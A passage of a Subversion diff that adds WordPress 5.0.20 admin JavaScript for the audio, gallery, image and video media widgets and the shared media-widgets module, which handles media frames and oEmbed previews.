+			mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback );
+			mediaFrame.on( 'close', function() {
+				mediaFrame.detach();
+			});
+
+			mediaFrame.open();
+		}
+	});
+
+	// Exports.
+	component.controlConstructors.media_audio = AudioWidgetControl;
+	component.modelConstructors.media_audio = AudioWidgetModel;
+
+})( wp.mediaWidgets );
Index: /tags/5.0.20/src/wp-admin/js/widgets/media-gallery-widget.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/media-gallery-widget.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/media-gallery-widget.js	(revision 56912)
@@ -0,0 +1,340 @@
+/* eslint consistent-this: [ "error", "control" ] */
+(function( component ) {
+	'use strict';
+
+	var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;
+
+	/**
+	 * Custom gallery details frame.
+	 *
+	 * @since 4.9.0
+	 * @class GalleryDetailsMediaFrame
+	 * @constructor
+	 */
+	GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend( {
+
+		/**
+		 * Create the default states.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		createStates: function createStates() {
+			this.states.add([
+				new wp.media.controller.Library({
+					id:         'gallery',
+					title:      wp.media.view.l10n.createGalleryTitle,
+					priority:   40,
+					toolbar:    'main-gallery',
+					filterable: 'uploaded',
+					multiple:   'add',
+					editable:   true,
+
+					library:  wp.media.query( _.defaults({
+						type: 'image'
+					}, this.options.library ) )
+				}),
+
+				// Gallery states.
+				new wp.media.controller.GalleryEdit({
+					library: this.options.selection,
+					editing: this.options.editing,
+					menu:    'gallery'
+				}),
+
+				new wp.media.controller.GalleryAdd()
+			]);
+		}
+	} );
+
+	/**
+	 * Gallery widget model.
+	 *
+	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @since 4.9.0
+	 * @class GalleryWidgetModel
+	 * @constructor
+	 */
+	GalleryWidgetModel = component.MediaWidgetModel.extend( {} );
+
+	/**
+	 * Gallery widget control.
+	 *
+	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @since 4.9.0
+	 * @class GalleryWidgetControl
+	 * @constructor
+	 */
+	GalleryWidgetControl = component.MediaWidgetControl.extend( {
+
+		/**
+		 * View events.
+		 *
+		 * @since 4.9.0
+		 * @type {object}
+		 */
+		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
+			'click .media-widget-gallery-preview': 'editMedia'
+		} ),
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 * @param {Object}         options - Options.
+		 * @param {Backbone.Model} options.model - Model.
+		 * @param {jQuery}         options.el - Control field container element.
+		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
+		 * @returns {void}
+		 */
+		initialize: function initialize( options ) {
+			var control = this;
+
+			component.MediaWidgetControl.prototype.initialize.call( control, options );
+
+			_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
+			control.selectedAttachments = new wp.media.model.Attachments();
+			control.model.on( 'change:ids', control.updateSelectedAttachments );
+			control.selectedAttachments.on( 'change', control.renderPreview );
+			control.selectedAttachments.on( 'reset', control.renderPreview );
+			control.updateSelectedAttachments();
+
+			/*
+			 * Refresh a Gallery widget partial when the user modifies one of the selected attachments.
+			 * This ensures that when an attachment's caption is updated in the media modal the Gallery
+			 * widget in the preview will then be refreshed to show the change. Normally doing this
+			 * would not be necessary because all of the state should be contained inside the changeset,
+			 * as everything done in the Customizer should not make a change to the site unless the
+			 * changeset itself is published. Attachments are a current exception to this rule.
+			 * For a proposal to include attachments in the customized state, see #37887.
+			 */
+			if ( wp.customize && wp.customize.previewer ) {
+				control.selectedAttachments.on( 'change', function() {
+					wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
+				} );
+			}
+		},
+
+		/**
+		 * Update the selected attachments if necessary.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		updateSelectedAttachments: function updateSelectedAttachments() {
+			var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;
+
+			newIds = control.model.get( 'ids' );
+			oldIds = _.pluck( control.selectedAttachments.models, 'id' );
+
+			removedIds = _.difference( oldIds, newIds );
+			_.each( removedIds, function( removedId ) {
+				control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
+			});
+
+			addedIds = _.difference( newIds, oldIds );
+			if ( addedIds.length ) {
+				addedQuery = wp.media.query({
+					order: 'ASC',
+					orderby: 'post__in',
+					perPage: -1,
+					post__in: newIds,
+					query: true,
+					type: 'image'
+				});
+				addedQuery.more().done( function() {
+					control.selectedAttachments.reset( addedQuery.models );
+				});
+			}
+		},
+
+		/**
+		 * Render preview.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		renderPreview: function renderPreview() {
+			var control = this, previewContainer, previewTemplate, data;
+
+			previewContainer = control.$el.find( '.media-widget-preview' );
+			previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );
+
+			data = control.previewTemplateProps.toJSON();
+			data.attachments = {};
+			control.selectedAttachments.each( function( attachment ) {
+				data.attachments[ attachment.id ] = attachment.toJSON();
+			} );
+
+			previewContainer.html( previewTemplate( data ) );
+		},
+
+		/**
+		 * Determine whether there are selected attachments.
+		 *
+		 * @since 4.9.0
+		 * @returns {boolean} Selected.
+		 */
+		isSelected: function isSelected() {
+			var control = this;
+
+			if ( control.model.get( 'error' ) ) {
+				return false;
+			}
+
+			return control.model.get( 'ids' ).length > 0;
+		},
+
+		/**
+		 * Open the media select frame to edit images.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		editMedia: function editMedia() {
+			var control = this, selection, mediaFrame, mediaFrameProps;
+
+			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
+				multiple: true
+			});
+
+			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
+			selection.gallery = new Backbone.Model( mediaFrameProps );
+			if ( mediaFrameProps.size ) {
+				control.displaySettings.set( 'size', mediaFrameProps.size );
+			}
+			mediaFrame = new GalleryDetailsMediaFrame({
+				frame: 'manage',
+				text: control.l10n.add_to_widget,
+				selection: selection,
+				mimeType: control.mime_type,
+				selectedDisplaySettings: control.displaySettings,
+				showDisplaySettings: control.showDisplaySettings,
+				metadata: mediaFrameProps,
+				editing:   true,
+				multiple:  true,
+				state: 'gallery-edit'
+			});
+			wp.media.frame = mediaFrame; // See wp.media().
+
+			// Handle selection of a media item.
+			mediaFrame.on( 'update', function onUpdate( newSelection ) {
+				var state = mediaFrame.state(), resultSelection;
+
+				resultSelection = newSelection || state.get( 'selection' );
+				if ( ! resultSelection ) {
+					return;
+				}
+
+				// Copy orderby_random from gallery state.
+				if ( resultSelection.gallery ) {
+					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
+				}
+
+				// Directly update selectedAttachments to prevent needing to do additional request.
+				control.selectedAttachments.reset( resultSelection.models );
+
+				// Update models in the widget instance.
+				control.model.set( {
+					ids: _.pluck( resultSelection.models, 'id' )
+				} );
+			} );
+
+			mediaFrame.$el.addClass( 'media-widget' );
+			mediaFrame.open();
+
+			if ( selection ) {
+				selection.on( 'destroy', control.handleAttachmentDestroy );
+			}
+		},
+
+		/**
+		 * Open the media select frame to chose an item.
+		 *
+		 * @since 4.9.0
+		 * @returns {void}
+		 */
+		selectMedia: function selectMedia() {
+			var control = this, selection, mediaFrame, mediaFrameProps;
+			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
+				multiple: true
+			});
+
+			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
+			if ( mediaFrameProps.size ) {
+				control.displaySettings.set( 'size', mediaFrameProps.size );
+			}
+			mediaFrame = new GalleryDetailsMediaFrame({
+				frame: 'select',
+				text: control.l10n.add_to_widget,
+				selection: selection,
+				mimeType: control.mime_type,
+				selectedDisplaySettings: control.displaySettings,
+				showDisplaySettings: control.showDisplaySettings,
+				metadata: mediaFrameProps,
+				state: 'gallery'
+			});
+			wp.media.frame = mediaFrame; // See wp.media().
+
+			// Handle selection of a media item.
+			mediaFrame.on( 'update', function onUpdate( newSelection ) {
+				var state = mediaFrame.state(), resultSelection;
+
+				resultSelection = newSelection || state.get( 'selection' );
+				if ( ! resultSelection ) {
+					return;
+				}
+
+				// Copy orderby_random from gallery state.
+				if ( resultSelection.gallery ) {
+					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
+				}
+
+				// Directly update selectedAttachments to prevent needing to do additional request.
+				control.selectedAttachments.reset( resultSelection.models );
+
+				// Update widget instance.
+				control.model.set( {
+					ids: _.pluck( resultSelection.models, 'id' )
+				} );
+			} );
+
+			mediaFrame.$el.addClass( 'media-widget' );
+			mediaFrame.open();
+
+			if ( selection ) {
+				selection.on( 'destroy', control.handleAttachmentDestroy );
+			}
+
+			/*
+			 * Make sure focus is set inside of modal so that hitting Esc will close
+			 * the modal and not inadvertently cause the widget to collapse in the customizer.
+			 */
+			mediaFrame.$el.find( ':focusable:first' ).focus();
+		},
+
+		/**
+		 * Clear the selected attachment when it is deleted in the media select frame.
+		 *
+		 * @since 4.9.0
+		 * @param {wp.media.models.Attachment} attachment - Attachment.
+		 * @returns {void}
+		 */
+		handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
+			var control = this;
+			control.model.set( {
+				ids: _.difference(
+					control.model.get( 'ids' ),
+					[ attachment.id ]
+				)
+			} );
+		}
+	} );
+
+	// Exports.
+	component.controlConstructors.media_gallery = GalleryWidgetControl;
+	component.modelConstructors.media_gallery = GalleryWidgetModel;
+
+})( wp.mediaWidgets );
Index: /tags/5.0.20/src/wp-admin/js/widgets/media-image-widget.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/media-image-widget.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/media-image-widget.js	(revision 56912)
@@ -0,0 +1,166 @@
+/* eslint consistent-this: [ "error", "control" ] */
+(function( component, $ ) {
+	'use strict';
+
+	var ImageWidgetModel, ImageWidgetControl;
+
+	/**
+	 * Image widget model.
+	 *
+	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class ImageWidgetModel
+	 * @constructor
+	 */
+	ImageWidgetModel = component.MediaWidgetModel.extend({});
+
+	/**
+	 * Image widget control.
+	 *
+	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class ImageWidgetModel
+	 * @constructor
+	 */
+	ImageWidgetControl = component.MediaWidgetControl.extend({
+
+		/**
+		 * View events.
+		 *
+		 * @type {object}
+		 */
+		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
+			'click .media-widget-preview.populated': 'editMedia'
+		} ),
+
+		/**
+		 * Render preview.
+		 *
+		 * @returns {void}
+		 */
+		renderPreview: function renderPreview() {
+			var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput;
+			if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) {
+				return;
+			}
+
+			previewContainer = control.$el.find( '.media-widget-preview' );
+			previewTemplate = wp.template( 'wp-media-widget-image-preview' );
+			previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) );
+			previewContainer.addClass( 'populated' );
+
+			linkInput = control.$el.find( '.link' );
+			if ( ! linkInput.is( document.activeElement ) ) {
+				fieldsContainer = control.$el.find( '.media-widget-fields' );
+				fieldsTemplate = wp.template( 'wp-media-widget-image-fields' );
+				fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) );
+			}
+		},
+
+		/**
+		 * Open the media image-edit frame to modify the selected item.
+		 *
+		 * @returns {void}
+		 */
+		editMedia: function editMedia() {
+			var control = this, mediaFrame, updateCallback, defaultSync, metadata;
+
+			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );
+
+			// Needed or else none will not be selected if linkUrl is not also empty.
+			if ( 'none' === metadata.link ) {
+				metadata.linkUrl = '';
+			}
+
+			// Set up the media frame.
+			mediaFrame = wp.media({
+				frame: 'image',
+				state: 'image-details',
+				metadata: metadata
+			});
+			mediaFrame.$el.addClass( 'media-widget' );
+
+			updateCallback = function() {
+				var mediaProps, linkType;
+
+				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
+				mediaProps = mediaFrame.state().attributes.image.toJSON();
+				linkType = mediaProps.link;
+				mediaProps.link = mediaProps.linkUrl;
+				control.selectedAttachment.set( mediaProps );
+				control.displaySettings.set( 'link', linkType );
+
+				control.model.set( _.extend(
+					control.mapMediaToModelProps( mediaProps ),
+					{ error: false }
+				) );
+			};
+
+			mediaFrame.state( 'image-details' ).on( 'update', updateCallback );
+			mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback );
+
+			// Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>.
+			defaultSync = wp.media.model.Attachment.prototype.sync;
+			wp.media.model.Attachment.prototype.sync = function rejectedSync() {
+				return $.Deferred().rejectWith( this ).promise();
+			};
+			mediaFrame.on( 'close', function onClose() {
+				mediaFrame.detach();
+				wp.media.model.Attachment.prototype.sync = defaultSync;
+			});
+
+			mediaFrame.open();
+		},
+
+		/**
+		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
+		 *
+		 * @returns {Object} Reset/override props.
+		 */
+		getEmbedResetProps: function getEmbedResetProps() {
+			return _.extend(
+				component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ),
+				{
+					size: 'full',
+					width: 0,
+					height: 0
+				}
+			);
+		},
+
+		/**
+		 * Get the instance props from the media selection frame.
+		 *
+		 * Prevent the image_title attribute from being initially set when adding an image from the media library.
+		 *
+		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
+		 * @returns {Object} Props.
+		 */
+		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
+			var control = this;
+			return _.omit(
+				component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ),
+				'image_title'
+			);
+		},
+
+		/**
+		 * Map model props to preview template props.
+		 *
+		 * @returns {Object} Preview template props.
+		 */
+		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
+			var control = this, previewTemplateProps, url;
+			url = control.model.get( 'url' );
+			previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control );
+			previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : '';
+			previewTemplateProps.link_url = control.model.get( 'link_url' );
+			return previewTemplateProps;
+		}
+	});
+
+	// Exports.
+	component.controlConstructors.media_image = ImageWidgetControl;
+	component.modelConstructors.media_image = ImageWidgetModel;
+
+})( wp.mediaWidgets, jQuery );
Index: /tags/5.0.20/src/wp-admin/js/widgets/media-video-widget.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/media-video-widget.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/media-video-widget.js	(revision 56912)
@@ -0,0 +1,250 @@
+/* eslint consistent-this: [ "error", "control" ] */
+(function( component ) {
+	'use strict';
+
+	var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;
+
+	/**
+	 * Custom video details frame that removes the replace-video state.
+	 *
+	 * @class VideoDetailsMediaFrame
+	 * @constructor
+	 */
+	VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend({
+
+		/**
+		 * Create the default states.
+		 *
+		 * @returns {void}
+		 */
+		createStates: function createStates() {
+			this.states.add([
+				new wp.media.controller.VideoDetails({
+					media: this.media
+				}),
+
+				new wp.media.controller.MediaLibrary({
+					type: 'video',
+					id: 'add-video-source',
+					title: wp.media.view.l10n.videoAddSourceTitle,
+					toolbar: 'add-video-source',
+					media: this.media,
+					menu: false
+				}),
+
+				new wp.media.controller.MediaLibrary({
+					type: 'text',
+					id: 'add-track',
+					title: wp.media.view.l10n.videoAddTrackTitle,
+					toolbar: 'add-track',
+					media: this.media,
+					menu: 'video-details'
+				})
+			]);
+		}
+	});
+
+	/**
+	 * Video widget model.
+	 *
+	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class VideoWidgetModel
+	 * @constructor
+	 */
+	VideoWidgetModel = component.MediaWidgetModel.extend({});
+
+	/**
+	 * Video widget control.
+	 *
+	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class VideoWidgetControl
+	 * @constructor
+	 */
+	VideoWidgetControl = component.MediaWidgetControl.extend({
+
+		/**
+		 * Show display settings.
+		 *
+		 * @type {boolean}
+		 */
+		showDisplaySettings: false,
+
+		/**
+		 * Cache of oembed responses.
+		 *
+		 * @type {Object}
+		 */
+		oembedResponses: {},
+
+		/**
+		 * Map model props to media frame props.
+		 *
+		 * @param {Object} modelProps - Model props.
+		 * @returns {Object} Media frame props.
+		 */
+		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
+			var control = this, mediaFrameProps;
+			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
+			mediaFrameProps.link = 'embed';
+			return mediaFrameProps;
+		},
+
+		/**
+		 * Fetches embed data for external videos.
+		 *
+		 * @returns {void}
+		 */
+		fetchEmbed: function fetchEmbed() {
+			var control = this, url;
+			url = control.model.get( 'url' );
+
+			// If we already have a local cache of the embed response, return.
+			if ( control.oembedResponses[ url ] ) {
+				return;
+			}
+
+			// If there is an in-flight embed request, abort it.
+			if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
+				control.fetchEmbedDfd.abort();
+			}
+
+			control.fetchEmbedDfd = wp.apiRequest({
+				url: wp.media.view.settings.oEmbedProxyUrl,
+				data: {
+					url: control.model.get( 'url' ),
+					maxwidth: control.model.get( 'width' ),
+					maxheight: control.model.get( 'height' ),
+					discover: false
+				},
+				type: 'GET',
+				dataType: 'json',
+				context: control
+			});
+
+			control.fetchEmbedDfd.done( function( response ) {
+				control.oembedResponses[ url ] = response;
+				control.renderPreview();
+			});
+
+			control.fetchEmbedDfd.fail( function() {
+				control.oembedResponses[ url ] = null;
+			});
+		},
+
+		/**
+		 * Whether a url is a supported external host.
+		 *
+		 * @deprecated since 4.9.
+		 *
+		 * @returns {boolean} Whether url is a supported video host.
+		 */
+		isHostedVideo: function isHostedVideo() {
+			return true;
+		},
+
+		/**
+		 * Render preview.
+		 *
+		 * @returns {void}
+		 */
+		renderPreview: function renderPreview() {
+			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
+			attachmentId = control.model.get( 'attachment_id' );
+			attachmentUrl = control.model.get( 'url' );
+			error = control.model.get( 'error' );
+
+			if ( ! attachmentId && ! attachmentUrl ) {
+				return;
+			}
+
+			// Verify the selected attachment mime is supported.
+			mime = control.selectedAttachment.get( 'mime' );
+			if ( mime && attachmentId ) {
+				if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
+					error = 'unsupported_file_type';
+				}
+			} else if ( ! attachmentId ) {
+				urlParser = document.createElement( 'a' );
+				urlParser.href = attachmentUrl;
+				matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
+				if ( matches ) {
+					if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
+						error = 'unsupported_file_type';
+					}
+				} else {
+					isOEmbed = true;
+				}
+			}
+
+			if ( isOEmbed ) {
+				control.fetchEmbed();
+				if ( control.oembedResponses[ attachmentUrl ] ) {
+					poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
+					html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
+				}
+			}
+
+			previewContainer = control.$el.find( '.media-widget-preview' );
+			previewTemplate = wp.template( 'wp-media-widget-video-preview' );
+
+			previewContainer.html( previewTemplate({
+				model: {
+					attachment_id: attachmentId,
+					html: html,
+					src: attachmentUrl,
+					poster: poster
+				},
+				is_oembed: isOEmbed,
+				error: error
+			}));
+			wp.mediaelement.initialize();
+		},
+
+		/**
+		 * Open the media image-edit frame to modify the selected item.
+		 *
+		 * @returns {void}
+		 */
+		editMedia: function editMedia() {
+			var control = this, mediaFrame, metadata, updateCallback;
+
+			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );
+
+			// Set up the media frame.
+			mediaFrame = new VideoDetailsMediaFrame({
+				frame: 'video',
+				state: 'video-details',
+				metadata: metadata
+			});
+			wp.media.frame = mediaFrame;
+			mediaFrame.$el.addClass( 'media-widget' );
+
+			updateCallback = function( mediaFrameProps ) {
+
+				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
+				control.selectedAttachment.set( mediaFrameProps );
+
+				control.model.set( _.extend(
+					_.omit( control.model.defaults(), 'title' ),
+					control.mapMediaToModelProps( mediaFrameProps ),
+					{ error: false }
+				) );
+			};
+
+			mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
+			mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
+			mediaFrame.on( 'close', function() {
+				mediaFrame.detach();
+			});
+
+			mediaFrame.open();
+		}
+	});
+
+	// Exports.
+	component.controlConstructors.media_video = VideoWidgetControl;
+	component.modelConstructors.media_video = VideoWidgetModel;
+
+})( wp.mediaWidgets );
Index: /tags/5.0.20/src/wp-admin/js/widgets/media-widgets.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/media-widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/media-widgets.js	(revision 56912)
@@ -0,0 +1,1306 @@
+/* eslint consistent-this: [ "error", "control" ] */
+wp.mediaWidgets = ( function( $ ) {
+	'use strict';
+
+	var component = {};
+
+	/**
+	 * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
+	 *
+	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
+	 *
+	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
+	 */
+	component.controlConstructors = {};
+
+	/**
+	 * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
+	 *
+	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
+	 *
+	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
+	 */
+	component.modelConstructors = {};
+
+	/**
+	 * Library which persists the customized display settings across selections.
+	 *
+	 * @class PersistentDisplaySettingsLibrary
+	 * @constructor
+	 */
+	component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @param {Object} options - Options.
+		 * @returns {void}
+		 */
+		initialize: function initialize( options ) {
+			_.bindAll( this, 'handleDisplaySettingChange' );
+			wp.media.controller.Library.prototype.initialize.call( this, options );
+		},
+
+		/**
+		 * Sync changes to the current display settings back into the current customized.
+		 *
+		 * @param {Backbone.Model} displaySettings - Modified display settings.
+		 * @returns {void}
+		 */
+		handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
+			this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
+		},
+
+		/**
+		 * Get the display settings model.
+		 *
+		 * Model returned is updated with the current customized display settings,
+		 * and an event listener is added so that changes made to the settings
+		 * will sync back into the model storing the session's customized display
+		 * settings.
+		 *
+		 * @param {Backbone.Model} model - Display settings model.
+		 * @returns {Backbone.Model} Display settings model.
+		 */
+		display: function getDisplaySettingsModel( model ) {
+			var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
+			display = wp.media.controller.Library.prototype.display.call( this, model );
+
+			display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
+			display.set( selectedDisplaySettings.attributes );
+			if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
+				display.linkUrl = selectedDisplaySettings.get( 'link_url' );
+			}
+			display.on( 'change', this.handleDisplaySettingChange );
+			return display;
+		}
+	});
+
+	/**
+	 * Extended view for managing the embed UI.
+	 *
+	 * @class MediaEmbedView
+	 * @constructor
+	 */
+	component.MediaEmbedView = wp.media.view.Embed.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {object} options - Options.
+		 * @returns {void}
+		 */
+		initialize: function( options ) {
+			var view = this, embedController; // eslint-disable-line consistent-this
+			wp.media.view.Embed.prototype.initialize.call( view, options );
+			if ( 'image' !== view.controller.options.mimeType ) {
+				embedController = view.controller.states.get( 'embed' );
+				embedController.off( 'scan', embedController.scanImage, embedController );
+			}
+		},
+
+		/**
+		 * Refresh embed view.
+		 *
+		 * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
+		 *
+		 * @returns {void}
+		 */
+		refresh: function refresh() {
+			var Constructor;
+
+			if ( 'image' === this.controller.options.mimeType ) {
+				Constructor = wp.media.view.EmbedImage;
+			} else {
+
+				// This should be eliminated once #40450 lands of when this is merged into core.
+				Constructor = wp.media.view.EmbedLink.extend({
+
+					/**
+					 * Set the disabled state on the Add to Widget button.
+					 *
+					 * @param {boolean} disabled - Disabled.
+					 * @returns {void}
+					 */
+					setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
+						this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
+					},
+
+					/**
+					 * Set or clear an error notice.
+					 *
+					 * @param {string} notice - Notice.
+					 * @returns {void}
+					 */
+					setErrorNotice: function setErrorNotice( notice ) {
+						var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this
+
+						noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
+						if ( ! notice ) {
+							if ( noticeContainer.length ) {
+								noticeContainer.slideUp( 'fast' );
+							}
+						} else {
+							if ( ! noticeContainer.length ) {
+								noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt"></div>' );
+								noticeContainer.hide();
+								embedLinkView.views.parent.$el.prepend( noticeContainer );
+							}
+							noticeContainer.empty();
+							noticeContainer.append( $( '<p>', {
+								html: notice
+							}));
+							noticeContainer.slideDown( 'fast' );
+						}
+					},
+
+					/**
+					 * Update oEmbed.
+					 *
+					 * @since 4.9.0
+					 *
+					 * @returns {void}
+					 */
+					updateoEmbed: function() {
+						var embedLinkView = this, url; // eslint-disable-line consistent-this
+
+						url = embedLinkView.model.get( 'url' );
+
+						// Abort if the URL field was emptied out.
+						if ( ! url ) {
+							embedLinkView.setErrorNotice( '' );
+							embedLinkView.setAddToWidgetButtonDisabled( true );
+							return;
+						}
+
+						if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
+							embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
+							embedLinkView.setAddToWidgetButtonDisabled( true );
+						}
+
+						wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
+					},
+
+					/**
+					 * Fetch media.
+					 *
+					 * @returns {void}
+					 */
+					fetch: function() {
+						var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
+						url = embedLinkView.model.get( 'url' );
+
+						if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
+							embedLinkView.dfd.abort();
+						}
+
+						fetchSuccess = function( response ) {
+							embedLinkView.renderoEmbed({
+								data: {
+									body: response
+								}
+							});
+
+							embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
+							embedLinkView.setErrorNotice( '' );
+							embedLinkView.setAddToWidgetButtonDisabled( false );
+						};
+
+						urlParser = document.createElement( 'a' );
+						urlParser.href = url;
+						matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
+						if ( matches ) {
+							fileExt = matches[1];
+							if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
+								embedLinkView.renderFail();
+							} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
+								embedLinkView.renderFail();
+							} else {
+								fetchSuccess( '<!--success-->' );
+							}
+							return;
+						}
+
+						// Support YouTube embed links.
+						re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
+						youTubeEmbedMatch = re.exec( url );
+						if ( youTubeEmbedMatch ) {
+							url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
+							// silently change url to proper oembed-able version.
+							embedLinkView.model.attributes.url = url;
+						}
+
+						embedLinkView.dfd = wp.apiRequest({
+							url: wp.media.view.settings.oEmbedProxyUrl,
+							data: {
+								url: url,
+								maxwidth: embedLinkView.model.get( 'width' ),
+								maxheight: embedLinkView.model.get( 'height' ),
+								discover: false
+							},
+							type: 'GET',
+							dataType: 'json',
+							context: embedLinkView
+						});
+
+						embedLinkView.dfd.done( function( response ) {
+							if ( embedLinkView.controller.options.mimeType !== response.type ) {
+								embedLinkView.renderFail();
+								return;
+							}
+							fetchSuccess( response.html );
+						});
+						embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
+					},
+
+					/**
+					 * Handle render failure.
+					 *
+					 * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
+					 * The element is getting display:none in the stylesheet, but the underlying method uses
+					 * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
+					 *
+					 * @returns {void}
+					 */
+					renderFail: function renderFail() {
+						var embedLinkView = this; // eslint-disable-line consistent-this
+						embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
+						embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
